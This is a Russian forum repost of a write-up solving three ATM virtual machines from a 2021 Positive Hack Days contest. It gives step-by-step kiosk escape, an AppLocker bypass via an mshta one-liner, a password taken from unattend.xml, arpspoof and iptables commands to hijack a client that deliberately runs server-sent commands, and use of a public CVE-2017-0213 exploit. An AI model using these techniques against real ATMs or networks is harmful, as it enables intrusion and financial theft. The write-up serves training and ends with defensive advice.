[Информационная безопасность] Как ломать банкоматы? ARP-spoofing, CVE, обход киоска

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
18-Июн-2021 17:36


Виды в окрестностях Payment VillageНа прошедшем 20-21 мая 2021 Positive Hack Days в зоне Payment Village был представлен конкурс, где участники могли посоревноваться в хакерских способностях, а именно во взломе банкоматов. Организаторами было подготовлено 3 виртуальных машины банкоматов с разным уровнем сложности. На протяжении двух дней участники пытались произвести взлом банкоматов, но всего несколько человек смогли приблизиться к заложенным сценариям. Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже.
  • bankomat1.ova
  • bankomat2.ova
  • bankomat3.ova Мы решили сделать разбор кейсов в виде статьи, с помощью которой вы пошагово сможете взломать три виртуальных машины, представленных выше и, соответственно, прокачать свой скилл, узнав новые техники взлома.
bankomat1.ova (сложность medium)Участникам необходимо было запустить .vbs скрипт в обход существующих ограничений AppLocker и каким-либо образом повысить привилегии в системе до администратора. Сразу после загрузки виртуальной машины перед участником появляется вызывающая надпись "Я банкомат и жду пока меня кто-то сломает". Кроме этого в задании существует много различных отвлекающих внимание секретов)
Например, внезапно может появиться окно "Доступны обновления" в котором не работает кнопка, что дает ложные надежды найти выход из режима киоска.
Или такое - комбинация клавиш CTRL+ALT+DEL работает, но открыть диспетчер задач не получится из-за ограничений в реестре. Комбинации клавиш и обход applockerДля взлома банкомата злоумышленнику необходимо каким-либо образом подключить клавиатуру к банкомату, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Т.к. мы используем VMware, клавиатура у нас есть, следовательно провести такую атаку мы можем. Итак, пробегаемся по кнопкам и замечаем что многие их них не работают, не работает ALT+TAB, не работает аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, на первый взгляд не работает даже ALT+F4Но вдруг после многочасовых попыток поиска нужной комбинации клавиш, нам удается заметить что после нажатия ALT+F4 несколько раз, киоск всё-таки закрывается. Что должно натолкнуть нас на такую идею - это запуск блокнота при старте виртуальной машины. Буквально на секунду он проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том что параллельно запускается два киоска, которые нужно закрыть поочередно. Чтобы закрыть их поочередно, нужно использовать ALT+F4 и ЛКМ. В Windows с помощью ALT+F4 окна закрываются всегда по одинаковому сценарию. В нашем случае запускался сначала notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, и закрывались, они, соответственно, в таком-же порядке, если не использовать ЛКМ. Итого мы научились закрывать киоск.
Далее через блокнот открываем консоль. Следует отметить что консоль нам нужна для того, чтобы поэксплуатировать известную дыру в Windows, которая позволяет нам запускать .vbs скрипты в обход Applocker
Невозможно запустить скрипт напрямуюИспользуем следующую команду и выполняем первую часть задания
mshta "vbscript:window.close(msgbox("test"))

Чем вам не дыра?Повышение привилегийДля повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль админа зашифрованный в base64
С этой задачей участники благополучно справились.bankomat2.ova (сложность hard)Данный банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу , проверяет сертификат сервера и если он валидный, шлет команду getcommand, на которую сервер в свою очередь отвечает командой, которую должен выполнить клиент.client.py
import ssl
import os
import socket
from cryptography import x509
from cryptography.hazmat.backends import default_backend
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
wrappedSocket = ssl.wrap_socket(sock)
try:
    wrappedSocket.connect(('127.0.0.1', 1234))
except:
    response = False
else:
    pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True))
    print(pem_cert)
    print(wrappedSocket.getpeercert(True))
    cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend())
    print(cert.subject.rfc4514_string().split(",")[1][3:])
    if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru':
        wrappedSocket.sendall('getcommand'.encode())
        os.system(wrappedSocket.recv(1024).decode())
        wrappedSocket.close()
    else:
        wrappedSocket.sendall('invalid cert'.encode())
        wrappedSocket.close()
server.py
import socket, ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem")
bindsocket = socket.socket()
bindsocket.bind(('127.0.0.1', 1234))
bindsocket.listen(5)
while True:
    newsocket, fromaddr = bindsocket.accept()
    sslsoc = context.wrap_socket(newsocket, server_side=True)
    request = sslsoc.read()
    if request.decode() == 'getcommand':
        sslsoc.sendall('calc.exe'.encode())
        print(request)
    else:
        sslsoc.sendall('command not found'.encode())
        print(request)
Итого злоумышленнику необходимо поднять свой сервер, каким-то образом редиректнуть на него трафик с банкомата и подстроить ответ, чтобы выполнить свою команду. Кроме этого нужно понять как генерировать сертификат для проверки. Очень просто:
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
Итак, для взлома этого банкомата можно использовать ARP-Spoofing Скачиваем Kali Linux, вводим команду sudo apt install dsniff, с помощью которой мы сможем установить пакет в котором есть инструмент arpspoof, который позволит провести нам данную атаку. После пишем sudo arpspoof -t 192.168.11.130 -r 192.168.11.2 чтобы перенаправить трафик с банкомата через нас на шлюз.(192.168.11.130 - IP адрес банкомата, 192.168.11.2 - IP адрес шлюза)С помощью следующей команды редиректим трафик с 7776 порта на 8080sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 7776 -j REDIRECT --to-port 8080
Сервер принимает командыГенерируем сертификат и запускаем сервер на порте 8080. Можно использовать код, который я привел выше, запускать мы будем explorer.exe
При генерации сертификата не забудьте укзать в Common Name
  сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат.
Демонстрация атакиПосле генерации cert.pem следует поместить в папку рядом со скриптом server.pyИтак, наконец, мы видим долгожданный проводник, через который нам надо открыть Internet Explorer, который чудом оказался не запрещен.
Скачиваем эксплойт CVE-2017-0213_x64.exe (https://github.com/eonrickity/CVE-2017-0213), переносим его в папку kiosk, запускаем и повышаемся в правах до администратора.Видео автора по поводу этого эксплойта:Извините, данный ресурс не поддреживается. :( bankomat3.ova (сложность low)Здесь все сложнее т.к. большинство клавиш просто запрещены. Для взлома данной виртуальной машины необходим выход в безопасный режим - кнопка 4 на следующем скрине.
  • Для выхода в безопасный режим необходимо перезагрузить банкомат во время перезагрузки;
  • Перезагружаемся в параметры загрузки;
  • В виртуальной машине есть несколько аккаунтов: bankomat и Администратор. При входе в аккаунт администратора хакер не сможет ничего выполнить т.к. перед ним будет черный экран;
  • Далее следует повышение привилегий. Повысить привилегии можно несколькими способами. Самый легкий способ - администратор не указал пароль для своего аккаунта и UAC можно обойти, просто оставив пустой пароль;
С этой задачей участники почти справились, чуть-чуть не хватило.ВыводыЕще раз спасибо участникам, а также победителям truebar и Soapboiler! Свои призы они уже получили. В статье были продемонстрированы крутые кейсы и техники, с помощью которых можно пробовать ломать банкоматы. Рабочих и наглядных сценариев для ARP-Spoofing сейчас действительно мало, исправляем эту проблему. Итого, если вы защищаете банкомат, не забывайте про комбинации клавиш, лучше прячьте свой пароль и обдумывайте логику проверки сертификатов. Также следует чаще обновлять свой софт, чтобы старые CVE не работали) Ссылкиhttps://t.me/phdays_paymentТелеграм автора - @yurasikhackerКлиент чекает сертификат сервера на наличие поддомена ab.ab.ru и, если сертификат валидный , запрашивает команду у сервера. Сервер же в свою очередь отправляет команду и ждет результат её выполнения от клиента.
===========
Источник:
habr.com
===========

Похожие новости: Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_arpspoofing, #_windows, #_vzlom_bankomatov (взлом банкоматов), #_cve, #_povyshenie_privilegij (повышение привилегий), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 18:13
Часовой пояс: UTC + 5